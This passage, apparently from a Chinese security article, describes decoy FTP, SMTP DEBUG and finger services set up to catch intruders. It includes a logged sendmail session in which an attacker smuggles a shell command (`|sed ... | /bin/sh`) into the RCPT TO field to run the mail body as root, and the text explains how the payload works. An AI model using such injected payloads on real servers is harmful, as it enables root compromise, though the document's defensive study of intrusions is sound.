FTP服务检索:检索的工具会报告每天所有注册和试图注册的用户名。我们伪造了一个passwd文件,获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。
SMTP DEBUG:这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。
Finger:Finger提供了大量有用的信息给黑客:账号名,该账号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。很多探测器都使用figner命令来查明调用的机器和使用者。
3、较量
设置好上面的服务以后,由于我们的目标有点暴露,因此被攻击率比较高。但是,当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。就象我们生活在大千世界一样,每个人的想法不一定相同。从这些日志所记录的事件里面,我们可以发现很多人的不同心理,或善意,或好奇,或者出于成就感。为了给黑客一个提醒,我们设置了一个自动回信,大致内容是:
“如果你到了这个地方,就已经很不错了,如果你希望继续,我们也可以陪你玩玩。如果我们现在正看着你的操作,感觉如何?”。
不过,对于高手来说,这招并不一定能奏效。下面的日志,记录了两个邮件发送器的相互对话,整个心理过程可以从中窥探出来。
00:43:10 smtpd[27466]: <--- 220 xxx.xxx.com SMTP 00:43:14 smtpd[27466]: -------> debug 00:43:14 smtpd[27466]: DEBUG attempt 00:43:14 smtpd[27466]: <--- 200 OK 00:43:25 smtpd[27466]: -------> mail from: 00:43:25 smtpd[27466]: <--- 503 Expecting HELO 00:43:34 smtpd[27466]: -------> helo 00:43:34 smtpd[27466]: HELO from 00:43:34 smtpd[27466]: <--- 250 xxx.xxx.com 00:43:42 smtpd[27466]: -------> mail from: 00:43:42 smtpd[27466]: <--- 250 OK 00:43:59 smtpd[27466]: -------> rcpt to: 00:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name 00:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?\$/'d | /bin/sh ; exit 0"> 00:44:44 smtpd[27466]: shell characters: |sed -e '1,/?\$/'d | /bin/sh ; exit 0" 00:44:45 smtpd[27466]: <--- 250 OK 00:44:48 smtpd[27466]: -------> data 00:44:48 smtpd[27466]: <--- 354 Start mail input; end with . 00:45:04 smtpd[27466]: <--- 250 OK 00:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security 00:45:08 smtpd[27466]: -------> quit 00:45:08 smtpd[27466]: <--- 221 xxx.xxx.com Terminating 00:45:08 smtpd[27466]: finished.
这是我们对SMTP过程的日志。在这个例子中,另一端是由人来键入命令。入侵者尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。在DEBUG模式下,Sendmail可以用它来以ROOT身份执行一段命令。即:
sed -e '1,/?\$/'d | /bin/sh ; exit 0"
它去掉了邮件头的信息,并使用ROOT身份执行了消息体,这样可以隐藏一些关于他的信息。之后,这个入侵者试探着从我们的服务器上取得一些密码和账户文件,于是我们编造了一份假文件,给他发过去,密文破解后的意思是:“小心玩火自焚!”。